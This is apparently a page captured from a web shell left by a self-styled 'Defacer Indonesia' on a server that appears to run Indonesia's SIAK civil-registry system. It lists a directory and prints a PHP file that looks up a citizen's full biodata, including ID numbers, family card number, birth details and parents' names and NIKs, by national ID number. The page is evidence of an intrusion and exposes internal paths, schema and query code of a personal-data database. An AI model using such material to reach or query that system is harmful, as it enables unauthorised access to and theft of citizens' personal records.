MINI
C:
/
siak
/
app
/
ktpel
/
app
/
Upload File:
files >> C:/siak/app/ktpel/app/person - Copy (2).php
<?php require_once __DIR__ . '/../config/database.php'; function find_person($nik) { if (!preg_match('/^[0-9]{16}$/', $nik)) { return array( 'ok' => false, 'error' => 'NIK harus terdiri dari 16 digit.' ); } list($conn, $error) = oracle_connect(); if (!$conn) { return array( 'ok' => false, 'error' => $error ); } $sql = " SELECT NIK, NO_KTP, NO_KK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR, GOL_DRH, AGAMA, STAT_KWN, PDDK_AKH, JENIS_PKRJN, NIK_IBU, NAMA_LGKP_IBU, NIK_AYAH, NAMA_LGKP_AYAH, STAT_HBKEL, NO_PROP, NO_KAB, NO_KEC, NO_KEL, STAT_KTP, TGL_CETAK_KTP, TGL_GANTI_KTP, TGL_PJG_KTP, EKTP_CURRENT_STATUS_CODE, EKTP_CREATED_DATE, EKTP_UPDATED_DATE FROM BIODATA_WNI WHERE NIK = :nik "; $stmt = oci_parse($conn, $sql); if (!$stmt) { $e = oci_error($conn); return array( 'ok' => false, 'error' => $e['message'] ); } oci_bind_by_name($stmt, ':nik', $nik); if (!oci_execute($stmt)) { $e = oci_error($stmt); return array( 'ok' => false, 'error' => $e['message'] ); } $row = oci_fetch_assoc($stmt); oci_free_statement($stmt); if (!$row) { return array( 'ok' => false, 'error' => 'NIK tidak ditemukan di database SIAK.' ); } return array( 'ok' => true, 'data' => $row ); }
Copyright ©2021 || Defacer Indonesia